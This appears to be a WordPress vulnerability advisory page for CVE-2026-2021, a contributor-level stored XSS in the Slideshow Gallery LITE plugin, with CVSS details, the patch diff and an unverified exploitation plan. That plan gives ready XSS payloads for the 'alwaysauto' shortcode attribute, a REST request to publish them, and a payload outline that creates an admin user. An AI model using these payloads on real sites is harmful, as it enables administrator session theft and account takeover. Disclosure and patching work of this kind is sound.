CVE-2026-2021

Slideshow Gallery LITE <= 1.8.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'alwaysauto' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.8.6
Patched in
1d
Time to patch

Description

The Slideshow Gallery LITE plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'alwaysauto' shortcode attribute in all versions up to, and including, 1.8.5. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.5
PublishedJune 17, 2026
Last updatedJune 18, 2026
Affected pluginslideshow-gallery

What Changed in the Fix

Changes introduced in v1.8.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2021 (Slideshow Gallery LITE) ## 1. Vulnerability Summary The **Slideshow Gallery LITE** plugin (versions <= 1.8.5) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the `alwaysauto` attribute wit…

Show full research plan

Exploitation Research Plan: CVE-2026-2021 (Slideshow Gallery LITE)

1. Vulnerability Summary

The Slideshow Gallery LITE plugin (versions <= 1.8.5) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the alwaysauto attribute within the [tribulant_slideshow] (and the alias [slideshow]) shortcode. Authenticated users with Contributor permissions or higher can inject malicious scripts into the alwaysauto attribute. Because this attribute is rendered into the page source without sufficient sanitization or output escaping (likely via esc_js() or esc_attr()), the script executes in the context of any user viewing the page, including administrators.

2. Attack Vector Analysis

  • Shortcode: [tribulant_slideshow] or [slideshow]
  • Vulnerable Attribute: alwaysauto
  • Authentication Level: Contributor+ (capability edit_posts is required to create/edit posts where shortcodes are processed).
  • Preconditions: The plugin must be active. A Contributor must be able to create or edit a post/page.
  • Endpoint: Post creation/edit endpoint (/wp-admin/post.php or /wp-json/wp/v2/posts).

3. Code Flow

  1. Registration: In slideshow-gallery.php, the shortcode is registered in the __construct method:
    add_shortcode('slideshow', array($this, 'embed')); 
    add_shortcode('tribulant_slideshow', array($this, 'embed'));
    
  2. Processing: When a post containing the shortcode is rendered, the embed() method in the SlideshowGallery class is called.
  3. Attribute Extraction: The method uses shortcode_atts() to parse user-supplied attributes, including alwaysauto.
  4. Rendering (The Sink): The alwaysauto value is passed into a rendering context (likely a view file or an inline script block). Based on the vulnerability description, it is rendered unsanitized. It is often embedded within a JavaScript configuration object that initializes the gallery, such as:
    var slideshow_options = {
        // ...
        "alwaysauto": "USER_INPUT_HERE",
        // ...
    };
    
    If USER_INPUT_HERE is not escaped with esc_js(), an attacker can break out of the string and execute arbitrary code.

4. Nonce Acquisition Strategy

This vulnerability is triggered by inserting a shortcode into a post. No plugin-specific AJAX nonce is required to exploit this XSS. The attacker only needs the standard WordPress nonces required for post creation/editing:

  1. Login as a Contributor.
  2. Navigate to wp-admin/post-new.php.
  3. Extract the _wpnonce from the form (for traditional POST) or use the REST API nonce wp-auth-check if using the block editor.

Note: Since the PoC agent can use the block editor or the classic editor, the simplest way is to use the REST API to create a post, which requires the wp-rest nonce usually found in window.wpApiSettings.nonce.

5. Exploitation Strategy

Step 1: Login and Post Creation

The goal is to create a post containing the malicious shortcode.

HTTP Request (REST API - recommended for automation):

  • Method: POST
  • URL: /wp-json/wp/v2/posts
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [REST_NONCE]
  • Payload:
    {
        "title": "XSS Test",
        "content": "[tribulant_slideshow alwaysauto='\"});alert(document.domain);var+x=({ \"test\":\"']",
        "status": "publish"
    }
    
    Note: If Contributor cannot 'publish', set status to 'pending' and the admin will view it for approval, triggering the XSS.

Step 2: Alternative Payload (HTML Attribute Breakout)

If the attribute is rendered directly in an HTML tag:

  • Payload: [tribulant_slideshow alwaysauto='"><script>alert(window.origin)</script>']

Step 3: Triggering

Navigate to the URL of the newly created post (or the preview URL if pending) as an Administrator.

6. Test Data Setup

  1. User Creation: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Activation: Ensure slideshow-gallery is active.
    • wp plugin activate slideshow-gallery

7. Expected Results

  • When viewing the post, the browser should execute the injected JavaScript (e.g., show an alert box with the domain).
  • Looking at the page source, the alwaysauto value should appear unescaped, having broken out of its intended context (either a JS string or an HTML attribute).

8. Verification Steps

  1. Manual Inspection:
    Use the browser_navigate tool to view the post and browser_eval to check for a global variable or evidence of execution.
    // Check if the script executed (if using a marker instead of alert)
    browser_eval("window.xss_executed = true;")
    
  2. Source Code Check:
    Check the rendered HTML using http_request (GET) and search for the payload string.
    # Look for the unescaped breakout
    grep -C 5 "alwaysauto" response_body.html
    

9. Alternative Approaches

If the alwaysauto attribute is not rendered in the frontend but in an admin-only view:

  1. Identify if the plugin has an admin "Manage Slides" or "Settings" page that renders existing shortcodes or gallery previews.
  2. Use a payload designed to exfiltrate the administrator's session cookies or create a new admin user:
    • Payload: [tribulant_slideshow alwaysauto='\"});fetch(\"/wp-admin/user-new.php\").then(r=>r.text()).then(t=>{/*CSRF logic to create user*/});//']
Research Findings
Static analysis — not yet PoC-verified

Summary

The Slideshow Gallery LITE plugin for WordPress is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting via the 'alwaysauto' shortcode attribute. This occurs because the plugin fails to sufficiently sanitize or escape the attribute value before rendering it in a page's source, allowing an attacker to execute arbitrary JavaScript in the context of any user viewing the post.

Vulnerable Code

// slideshow-gallery.php approx line 560 (v1.8.5)
// Inside the attribute processing logic for the [tribulant_slideshow] shortcode

if (!in_array($s['orderby'], ['id', 'date', 'name', 'type', 'created' , 'order' , 'random'], true)) {
    $s['orderby'] = array('order', "ASC"); // Default fallback
}

// Additional validation based on the context
if (!in_array($s['orderf'], ['id', 'date', 'name', 'type', 'created', 'order'], true)) {
    $s['orderf'] = 'order'; // Default fallback
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/slideshow-gallery/1.8.5/slideshow-gallery.php	2025-10-29 17:16:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/slideshow-gallery/1.8.6/slideshow-gallery.php	2026-06-10 16:16:26.000000000 +0000
@@ -559,12 +562,17 @@
 		        }
 		    }
 		    
-            if (!in_array($s['orderby'], ['id', 'date', 'name', 'type', 'created' , 'order' , 'random'], true)) {
+            if (!in_array($s['orderby'], ['id', 'date', 'name', 'type', 'created' , 'order' , 'random', 'menu_order'], true)) {
                 $s['orderby'] = array('order', "ASC"); // Default fallback
             }
 
+		    // Validate alwaysauto to only accept 'true' or 'false'
+		    if (!in_array($s['alwaysauto'], ['true', 'false'], true)) {
+		        $s['alwaysauto'] = 'true'; // Default fallback
+		    }
+		
 		    // Additional validation based on the context
-		    if (!in_array($s['orderf'], ['id', 'date', 'name', 'type', 'created', 'order'], true)) {
+		    if (!in_array($s['orderf'], ['id', 'date', 'name', 'type', 'created', 'order', 'menu_order'], true)) {
 		        $s['orderf'] = 'order'; // Default fallback
 		    }

Exploit Outline

The exploit is executed by an authenticated user with at least 'Contributor' privileges. The attacker creates a new WordPress post and inserts the `[tribulant_slideshow]` shortcode with a malicious payload in the `alwaysauto` attribute. Methodology: 1. Authenticate as a Contributor. 2. Use the Post editor (Classic or Block) or the WordPress REST API (`POST /wp-json/wp/v2/posts`) to create a post. 3. The payload involves breaking out of a JavaScript string or HTML attribute context, for example: `[tribulant_slideshow alwaysauto='"});alert(document.domain);var+x=({ "test":"']`. 4. When an Administrator views the post (either published or in draft preview), the injected script will execute in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.